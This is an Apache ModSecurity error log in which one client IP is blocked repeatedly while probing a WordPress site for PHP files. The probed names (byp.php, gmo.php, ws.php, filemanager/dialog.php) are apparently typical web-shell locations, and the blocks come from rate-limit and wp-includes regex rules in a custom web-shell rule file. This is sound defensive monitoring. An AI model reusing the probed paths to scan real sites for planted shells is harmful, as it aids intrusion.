[Tue Nov 25 20:47:42.318277 2025] [:error] [pid 14078:tid 14153] [client 134.149.17.123:45988] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aSWlbtVXYbb0ii_rVoJe3QAAAJA"]
[Tue Nov 25 20:47:42.963914 2025] [:error] [pid 14078:tid 14150] [client 134.149.17.123:45947] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aSWlbtVXYbb0ii_rVoJe4QAAAI0"]
[Tue Nov 25 20:47:43.588029 2025] [:error] [pid 14168:tid 14192] [client 134.149.17.123:46036] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aSWlb_R-ZDU0QEgAIIt8cgAAANU"]
[Tue Nov 25 20:47:44.231898 2025] [:error] [pid 28739:tid 28780] [client 134.149.17.123:45955] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aSWlcBxGpKmlkG4FexSQTQAAAhI"]
[Tue Nov 25 20:47:44.779387 2025] [:error] [pid 14078:tid 14161] [client 134.149.17.123:45922] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aSWlcNVXYbb0ii_rVoJe6gAAAJg"]
[Tue Nov 25 20:47:45.409171 2025] [:error] [pid 14078:tid 14154] [client 134.149.17.123:45869] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aSWlcdVXYbb0ii_rVoJe7QAAAJE"]
[Tue Nov 25 20:47:45.949994 2025] [:error] [pid 14078:tid 14157] [client 134.149.17.123:45971] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aSWlcdVXYbb0ii_rVoJe7wAAAJQ"]
[Tue Nov 25 20:47:46.555121 2025] [:error] [pid 14078:tid 14159] [client 134.149.17.123:45874] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aSWlctVXYbb0ii_rVoJe8QAAAJY"]
[Tue Nov 25 20:47:47.238058 2025] [:error] [pid 14076:tid 14100] [client 134.149.17.123:45828] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aSWlc3sB4Gz6Qw-pvBssLwAAABM"]
[Tue Nov 25 20:47:47.823506 2025] [:error] [pid 28836:tid 28967] [client 134.149.17.123:45847] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aSWlc5wNRsoxcLQGkTfYAgAAAsw"]
[Tue Nov 25 20:47:48.421621 2025] [:error] [pid 28609:tid 28633] [client 134.149.17.123:45938] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aSWldCGGdT-nZJVs3x3ZCwAAAY8"]
[Tue Nov 25 20:47:48.993565 2025] [:error] [pid 14076:tid 14095] [client 134.149.17.123:46025] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "aSWldHsB4Gz6Qw-pvBssMgAAAA4"]
[Tue Nov 25 20:47:49.632634 2025] [:error] [pid 14078:tid 14140] [client 134.149.17.123:46061] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aSWlddVXYbb0ii_rVoJe-AAAAIM"]
[Tue Nov 25 20:47:50.173619 2025] [:error] [pid 28836:tid 29006] [client 134.149.17.123:45879] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aSWldpwNRsoxcLQGkTfYBgAAAtA"]
[Tue Nov 25 20:47:50.787858 2025] [:error] [pid 43843:tid 43850] [client 134.149.17.123:45909] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aSWldhhx4v3NUNdMKDPmQwAAAcU"]
[Tue Nov 25 20:47:51.322458 2025] [:error] [pid 43843:tid 43857] [client 134.149.17.123:45855] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aSWldxhx4v3NUNdMKDPmRQAAAcw"]
[Tue Nov 25 20:47:51.916759 2025] [:error] [pid 43843:tid 43858] [client 134.149.17.123:45934] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aSWldxhx4v3NUNdMKDPmSAAAAc0"]
[Tue Nov 25 20:47:52.579883 2025] [:error] [pid 28739:tid 28763] [client 134.149.17.123:45936] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aSWleBxGpKmlkG4FexSQUwAAAgE"]
[Tue Nov 25 20:47:53.176862 2025] [:error] [pid 28739:tid 28782] [client 134.149.17.123:46072] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aSWleRxGpKmlkG4FexSQVwAAAhQ"]
[Tue Nov 25 20:47:53.782850 2025] [:error] [pid 28836:tid 28966] [client 134.149.17.123:45907] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/index.php"] [unique_id "aSWleZwNRsoxcLQGkTfYDgAAAss"]
[Tue Nov 25 20:47:54.539012 2025] [:error] [pid 28739:tid 28783] [client 134.149.17.123:45831] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aSWlehxGpKmlkG4FexSQWwAAAhU"]
[Tue Nov 25 20:47:55.143201 2025] [:error] [pid 14078:tid 14138] [client 134.149.17.123:45841] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aSWle9VXYbb0ii_rVoJe_wAAAIE"]
[Tue Nov 25 20:47:55.748990 2025] [:error] [pid 14168:tid 14177] [client 134.149.17.123:45902] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aSWle_R-ZDU0QEgAIIt8egAAAMY"]
[Tue Nov 25 20:47:56.322394 2025] [:error] [pid 14076:tid 14101] [client 134.149.17.123:45844] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/network/plugins.php"] [unique_id "aSWlfHsB4Gz6Qw-pvBssOwAAABQ"]
[Tue Nov 25 20:47:56.851567 2025] [:error] [pid 14078:tid 14160] [client 134.149.17.123:45868] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aSWlfNVXYbb0ii_rVoJfBgAAAJc"]
[Tue Nov 25 20:47:57.375132 2025] [:error] [pid 14077:tid 14123] [client 134.149.17.123:45835] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aSWlfRG9n7UHEkwDTyi4eQAAAE0"]
[Tue Nov 25 20:47:57.909077 2025] [:error] [pid 28609:tid 28630] [client 134.149.17.123:45912] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aSWlfSGGdT-nZJVs3x3ZFQAAAYw"]
[Tue Nov 25 20:47:58.486565 2025] [:error] [pid 28609:tid 28618] [client 134.149.17.123:45878] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/about.php"] [unique_id "aSWlfiGGdT-nZJVs3x3ZFwAAAYA"]
[Tue Nov 25 20:47:59.015705 2025] [:error] [pid 2987:tid 3011] [client 134.149.17.123:45904] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aSWlf8-djEt-pTzPxny53QAAAVY"]
[Tue Nov 25 20:47:59.577808 2025] [:error] [pid 28739:tid 28782] [client 134.149.17.123:45943] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aSWlfxxGpKmlkG4FexSQZgAAAhQ"]
[Tue Nov 25 20:48:00.248798 2025] [:error] [pid 14077:tid 14129] [client 134.149.17.123:45802] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aSWlgBG9n7UHEkwDTyi4gAAAAFM"]
[Tue Nov 25 20:48:00.892247 2025] [:error] [pid 28836:tid 28958] [client 134.149.17.123:45833] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aSWlgJwNRsoxcLQGkTfYHQAAAsM"]
[Tue Nov 25 20:48:01.556668 2025] [:error] [pid 14077:tid 14128] [client 134.149.17.123:45824] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSWlgRG9n7UHEkwDTyi4hAAAAFI"]
[Tue Nov 25 20:48:02.176559 2025] [:error] [pid 2987:tid 2998] [client 134.149.17.123:45830] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aSWlgs-djEt-pTzPxny56gAAAUk"]
[Tue Nov 25 20:48:02.799201 2025] [:error] [pid 28609:tid 28620] [client 134.149.17.123:45771] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aSWlgiGGdT-nZJVs3x3ZIgAAAYI"]
[Tue Nov 25 20:48:03.434992 2025] [:error] [pid 14076:tid 14104] [client 134.149.17.123:45884] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aSWlg3sB4Gz6Qw-pvBssQwAAABc"]
[Tue Nov 25 20:48:04.059913 2025] [:error] [pid 14076:tid 14084] [client 134.149.17.123:45760] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aSWlhHsB4Gz6Qw-pvBssRAAAAAM"]
[Tue Nov 25 20:48:04.759520 2025] [:error] [pid 28739:tid 28766] [client 134.149.17.123:45927] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aSWlhBxGpKmlkG4FexSQcAAAAgQ"]
[Tue Nov 25 20:48:05.342203 2025] [:error] [pid 43843:tid 43866] [client 134.149.17.123:45826] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aSWlhRhx4v3NUNdMKDPmWAAAAdU"]
[Tue Nov 25 20:48:05.898542 2025] [:error] [pid 28739:tid 28762] [client 134.149.17.123:45800] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aSWlhRxGpKmlkG4FexSQdAAAAgA"]
[Tue Nov 25 20:48:06.441702 2025] [:error] [pid 14078:tid 14154] [client 134.149.17.123:45861] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aSWlhtVXYbb0ii_rVoJfHwAAAJE"]
[Tue Nov 25 20:48:07.060472 2025] [:error] [pid 28609:tid 28638] [client 134.149.17.123:45915] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/about.php"] [unique_id "aSWlhyGGdT-nZJVs3x3ZKgAAAZQ"]
[Tue Nov 25 20:48:07.735988 2025] [:error] [pid 14076:tid 14083] [client 134.149.17.123:45850] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aSWlh3sB4Gz6Qw-pvBssSAAAAAI"]
[Tue Nov 25 20:48:08.518129 2025] [:error] [pid 14168:tid 14179] [client 134.149.17.123:45838] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aSWliPR-ZDU0QEgAIIt8nAAAAMg"]
[Tue Nov 25 20:48:09.122681 2025] [:error] [pid 14076:tid 14098] [client 134.149.17.123:45917] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aSWliXsB4Gz6Qw-pvBssSgAAABE"]
[Tue Nov 25 20:48:09.777511 2025] [:error] [pid 14076:tid 14088] [client 134.149.17.123:45783] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/filemanager/dialog.php"] [unique_id "aSWliXsB4Gz6Qw-pvBssTwAAAAc"]
[Tue Nov 25 20:48:10.324333 2025] [:error] [pid 2987:tid 3004] [client 134.149.17.123:45981] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWlis-djEt-pTzPxny57QAAAU8"]
[Tue Nov 25 20:48:10.871261 2025] [:error] [pid 14077:tid 14128] [client 134.149.17.123:45837] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWlihG9n7UHEkwDTyi4kAAAAFI"]
[Tue Nov 25 20:48:11.652678 2025] [:error] [pid 14078:tid 14150] [client 134.149.17.123:45768] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWli9VXYbb0ii_rVoJfIwAAAI0"]
[Tue Nov 25 20:48:12.224231 2025] [:error] [pid 14078:tid 14147] [client 134.149.17.123:45902] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/index.php"] [unique_id "aSWljNVXYbb0ii_rVoJfJAAAAIo"]
[Tue Nov 25 20:48:12.801931 2025] [:error] [pid 28836:tid 28956] [client 134.149.17.123:45859] [client 134.149.17.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aSWljJwNRsoxcLQGkTfYJwAAAsE"]
[Tue Nov 25 20:48:13.495656 2025] [:error] [pid 14078:tid 14157] [client 134.149.17.123:45999] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aSWljdVXYbb0ii_rVoJfKQAAAJQ"]
[Tue Nov 25 20:48:14.127878 2025] [:error] [pid 14076:tid 14087] [client 134.149.17.123:45931] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aSWljnsB4Gz6Qw-pvBssWAAAAAY"]
[Tue Nov 25 20:48:14.771207 2025] [:error] [pid 14076:tid 14088] [client 134.149.17.123:45870] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aSWljnsB4Gz6Qw-pvBssWgAAAAc"]
[Tue Nov 25 20:48:15.487211 2025] [:error] [pid 14076:tid 14092] [client 134.149.17.123:45982] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aSWlj3sB4Gz6Qw-pvBssWwAAAAs"]
[Tue Nov 25 20:48:16.085017 2025] [:error] [pid 43843:tid 43864] [client 134.149.17.123:45795] [client 134.149.17.123] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSWlkBhx4v3NUNdMKDPmWgAAAdM"]
